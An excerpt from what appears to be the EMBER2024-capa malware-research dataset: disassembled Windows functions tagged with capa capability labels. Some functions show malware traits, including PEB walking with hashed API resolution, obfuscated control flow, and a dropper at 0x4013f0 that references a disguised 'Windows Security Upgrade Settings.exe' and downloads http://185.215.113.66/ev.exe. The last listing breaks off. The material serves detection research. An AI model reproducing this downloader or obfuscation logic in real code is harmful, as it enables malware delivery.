joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409eb0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x34
mov eax, dword [0x503664]
lea ebx, [ebp - 0x1a]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x30], ebx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov word [eax + 8], 0x2320
mov dword [eax + 4], 0x15030199
mov dword [eax], 0x195312ec
lea eax, [ebp - 0x34]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x5044a8], eax
lea eax, [ebp - 0x38]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
push 0x9385646d
push dword [0x5044a8]
call fcn.00407580
add esp, 8
mov dword [ebp - 0x38], eax
mov edx, dword [ebp - 0x38]
call edx
push 0x27
push 0x502547
push 0x547
push section..data
call section..text
add esp, 0x10
push 0xa
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call section..text
add esp, 0x10
mov ebx, dword [sym.imp.USER32.dll_EnumClipboardFormats]
mov eax, 0x6d2f4d7a
nop dword [eax]
cmp eax, 0x1e39258b
jle 0x409fb0
cmp eax, 0x583d6efc
jle 0x40a040
cmp eax, 0x583d6efd
je 0x40a0df
cmp eax, 0x6d2f4d7a
jne 0x409f60
push 0x7a9dd29
call fcn.00409b00
add esp, 4
test al, al
mov eax, 0x42113b9a
mov ecx, 0xc596b49a
cmovne eax, ecx
xor edi, edi
cmp eax, 0x1e39258b
jg 0x409f67
nop dword [eax]
cmp eax, 0xc596b49a
je 0x40a06c
cmp eax, 0xd8019aec
je 0x40a095
cmp eax, 0xf6237efc
jne 0x409f60
mov eax, dword [ebp + 8]
mov dword [ebp - 0x3c], edi
mov edi, section..data
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x20], eax
mov esi, dword [ebp - 0x20]
push esi
mov edx, edi
mov ecx, 0x27
xor ecx, 0x1af
add edx, ecx
mov ecx, 3
sub esp, 4
loop 0x409ff6
mov dword [esp + 4], 0xb
xor dword [esp + 4], 0x1388
mov dword [esp], edx
mov dword [esp + 8], 0
lea eax, [ebx]
push eax
ret
cmp eax, 0x1e39258c
je 0x40a0af
cmp eax, 0x42113b9a
jne 0x409f60
mov eax, 0xc596b49a
mov edi, 0x8aafdc01
cmp eax, 0x1e39258b
jg 0x409f67
jmp 0x409fb0
push edi
push dword [0x5044a8]
call fcn.00407580
add esp, 8
mov dword [ebp - 0x24], eax
mov eax, 0xd8019aec
xor esi, esi
cmp eax, 0x1e39258b
jg 0x409f67
jmp 0x409fb0
mov eax, 0x1e39258c
mov esi, 0x4e4
cmp eax, 0x1e39258b
jg 0x409f67
jmp 0x409fb0
mov eax, dword [ebp - 0x24]
lea ecx, [ebp - 0x34]
push ecx
push 0x40
push esi
push section..data
call eax
test eax, eax
mov eax, 0xf6237efc
mov ecx, 0x583d6efd
cmove eax, ecx
cmp eax, 0x1e39258b
jg 0x409f67
jmp 0x409fb0
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004d7158
xor eax, eax
add esp, 0x34
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x4d8d50
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x4d8d71
jl 0x4d8d68
test edi, edi
jne 0x4d8d71
xor eax, eax
xor edx, edx
jmp 0x4d8e32
cmp dword [ebx + 0x38], 0
je 0x4d8d86
push eax
push edi
push dword [ebp + 8]
call fcn.004d8690
jmp 0x4d8e32
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x4d8dcd
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x4d8dcd
cmp eax, edi
jb 0x4d8da7
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.004dd430
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x4d8dd3
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x4d8e27
mov ecx, ebx
call fcn.004d9293
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x4d8e12
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.004e24d7
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x4d8e27
jmp 0x4d8de5
test edx, edx
je 0x4d8e27
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.004e24d7
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc

Function at 0x4da291
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4da2d0
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4da2d0
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4da2d0
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4da2d0
cmp dword [ecx + 0x74], 0xe
jbe 0x4da2d0
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x4e27e5
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.004db000
mov eax, dword [0x503664]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.004e8ae0
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x4e2827
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x4e2983
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.004ef1a0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x506d38]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.004ebc72
mov ecx, dword [esi*4 + 0x506d38]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x4e297c
cmp eax, dword [ecx + edi + 0x24]
jne 0x4e297c
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4e297c
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004ebc72
add esp, 0x14
test edx, edx
jl 0x4e297c
jg 0x4e28f2
test eax, eax
jb 0x4e297c
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x4e297c
jl 0x4e290c
cmp dword [ebp - 0x1008], eax
ja 0x4e297c
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x4e292a
test ebx, ebx
je 0x4e2963
cmp ecx, edi
jae 0x4e2963
mov al, byte [ecx]
cmp al, 0xd
jne 0x4e2944
lea eax, [edi - 1]
cmp ecx, eax
jae 0x4e2950
cmp byte [ecx + 1], 0xa
jne 0x4e2950
inc ecx
jmp 0x4e2950
movzx eax, al
movsx eax, byte [eax + 0x503fa0]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x4e292a
cmp edx, ebx
jne 0x4e292a
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x4e2981
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.004d7158
leave
ret

Function at 0x4e4aa0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4e4acd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4e4acd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x4e6cc6
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4f6ce8
push 0x4f6ce0
push str.FlsAlloc
push 0x1f
call fcn.004e70dd
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4e6cfa
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
jmp 0x4e6d00
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4
Function at 0x4e6d44
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4f6cf8
push 0x4f6cf0
push str.FlsGetValue
push 0x21
call fcn.004e70dd
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4e6d7b
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x4e6d83
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4f6d00
push 0x4f6cf8
push str.FlsSetValue
push 0x22
call fcn.004e70dd
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4e6dbd
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [section..00cfg]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x4ea617
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x503664]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.004e631a
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.004e631a
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x4ea68e
cmp word [ecx], dx
je 0x4ea68e
mov eax, dword [0x4f7134]
push edi
dec eax
push eax
push 0x4f7020
call fcn.004ea807
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x4ea701
cmp word [eax], dx
je 0x4ea701
mov eax, dword [edi]
test eax, eax
je 0x4ea6b2
cmp word [eax], dx
je 0x4ea6b2
lea eax, [ebp - 0x10]
push eax
call fcn.004ea868
jmp 0x4ea6bb
lea eax, [ebp - 0x10]
push eax
call fcn.004eab63
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x4ea72b
mov eax, dword [0x4f701c]
push dword [ebp - 0x14]
dec eax
push eax
push 0x4f6d10
call fcn.004ea807
add esp, 0xc
test al, al
je 0x4ea72b
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x4ea6f6
cmp word [eax], di
je 0x4ea6f6
lea eax, [ebp - 0x10]
push eax
call fcn.004ea868
pop ecx
jmp 0x4ea72d
lea eax, [ebp - 0x10]
push eax
call fcn.004eab63
jmp 0x4ea6f3
mov eax, dword [edi]
test eax, eax
je 0x4ea718
cmp word [eax], dx
je 0x4ea718
lea eax, [ebp - 0x10]
push eax
call fcn.004eaca5
pop ecx
jmp 0x4ea72b
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x4ea7f6
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.004ead97
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x4ea7f6
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x4ea7f6
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x4ea7f6
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x4ea783
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.004e6f20
test ebx, ebx
je 0x4ea7f1
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.004e6f20
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4ea7f6
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4ea7f6
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.004f0d77
add esp, 0x10
xor eax, eax
inc eax
jmp 0x4ea7f8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004d7158
leave
ret
Function at 0x4eae9d
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.004e631a
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4eaf0c
cmp esi, dword [ebp - 4]
je 0x4eaf07
cmp dword [ebp + 0xc], 0
je 0x4eaf07
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x4eaee4
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.004eaf66
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x4eaf0e
xor eax, eax
inc eax
jmp 0x4eaf0e
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x4ebe38
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x4ebed5
push ebx
push esi
call fcn.004ebed8
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.004e61c9
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x4ebe82
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4ebed4
push edi
push eax
call fcn.004e60b9
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x4ebea2
call fcn.004e607f
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4ebed3
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.004e61c9
add esp, 0x20
test eax, eax
jne 0x4ebec1
push edi
call fcn.004e607f
jmp 0x4ebec9
push ebx
call fcn.004e607f
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x4ee4ac
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x506d38]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4ee4ec
cmp byte [ebx], 0xa
jne 0x4ee4ec
or byte [edi + eax + 0x28], 4
jmp 0x4ee4f1
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x4ee5f0
mov dl, byte [eax]
cmp dl, 0x1a
je 0x4ee5d3
inc eax
cmp dl, 0xd
je 0x4ee51d
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x4ee543
cmp eax, ecx
jae 0x4ee551
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x4ee505
jmp 0x4ee5f0
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4ee5ce
cmp dword [ebp - 0x10], 0
je 0x4ee5ce
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x506d38]
test byte [eax + edi + 0x28], 0x48
je 0x4ee5a8
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x4ee593
mov byte [esi], dl
jmp 0x4ee5a4
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x506d38]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x4ee5f0
cmp byte [ebp - 1], 0xa
jne 0x4ee5b7
cmp esi, ebx
jne 0x4ee5b7
mov byte [esi], 0xa
jmp 0x4ee5ef
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.004ebc14
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x4ee5f0
mov byte [esi], 0xd
jmp 0x4ee5ef
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x506d38]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4ee5ed
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4ee5f0
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4ee5f9
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x506d38]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4ee63f
cmp word [ebx], dx
jne 0x4ee63f
or byte [eax + edi + 0x28], 4
jmp 0x4ee644
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x4ee7a7
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x4ee787
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x4ee685
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x4ee6bb
cmp eax, edx
jae 0x4ee6c9
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x4ee660
jmp 0x4ee7a7
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4ee782
cmp dword [ebp - 0x18], 0
je 0x4ee782
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x506d38]
test byte [eax + edi + 0x28], 0x48
je 0x4ee758
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x4ee71c
mov word [esi], cx
jmp 0x4ee753
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x506d38]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x506d38]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x506d38]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x4ee7a7
pop eax
cmp word [ebp - 4], ax
jne 0x4ee768
cmp esi, ebx
jne 0x4ee768
mov word [esi], ax
jmp 0x4ee7a4
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.004ebc14
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x4ee7a7
push 0xd
pop eax
jmp 0x4ee763
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x506d38]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x4ee7a1
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x4ee7a7
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4f3088
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.004f321f
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x4f31f7
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x4f31f7
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x4f31ac
jg 0x4f30e4
test eax, eax
je 0x4f31a2
push 1
push 0x1000
call fcn.004e73c4
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x4f3107
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x4f3199
push 0x8000
push ebx
call fcn.004e193b
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x4f3130
jg 0x4f312b
cmp ecx, 0x1000
jb 0x4f3130
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.004ecba6
add esp, 0x10
cmp eax, 0xffffffff
je 0x4f3175
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x4f312b
jl 0x4f315c
test ecx, ecx
jne 0x4f311d
push dword [ebp - 0xc]
push ebx
call fcn.004e193b
push esi
call fcn.004e607f
add esp, 0xc
xor ebx, ebx
jmp 0x4f3205
cmp byte [edi + 0x24], 0
je 0x4f318c
cmp dword [edi + 0x20], 5
jne 0x4f318c
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x4f3197
mov ebx, dword [edi + 0x18]
jmp 0x4f3199
xor ebx, ebx
push esi
call fcn.004e607f
pop ecx
jmp 0x4f3205
test ecx, ecx
jg 0x4f316e
jl 0x4f31ac
test eax, eax
jae 0x4f316e
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004ebc14
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x4f31cc
cmp byte [edi + 0x1c], 0
je 0x4f316e
jmp 0x4f31fd
push ebx
call fcn.004ec299
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x4f316e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x4f3205
cmp byte [edi + 0x1c], 0
je 0x4f3202
mov ebx, dword [edi + 0x18]
jmp 0x4f3205
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.004ebc14
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401350
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push 0x208
push 0
lea eax, [ebp - 0x208]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x208
lea ecx, [ebp - 0x208]
push ecx
push str._appdata_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push str.Tbaby.txt
lea edx, [ebp - 0x208]
push edx
call sub.MSVCR90.dll_wcscat
add esp, 8
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4013b1
xor al, al
jmp 0x4013eb
push 0
push 2
push 1
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0xffffffff
je 0x4013e9
mov edx, dword [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x4013f0
Capabilities:
Check if file exists
Delete file
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00401350
movzx eax, al
test eax, eax
je 0x40145e
push 0x104
push 0x403018
push str._temp_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0x403018
push str._sWindows_Security_Upgrade_Settings.exe
push 0x403220
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0x403220
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x401451
push 0x403220
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.http:__185.215.113.66_ev.exe
call fcn.004010b0
add esp, 4
xor eax, eax
pop ebp
ret 0x10
Function at 0xe8d370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0xe8d38e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0xeb6074
push ecx
mov edi, eax
call fcn.00ea1198
mov esi, eax
add esp, 8
test esi, esi
jne 0xe8d3cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
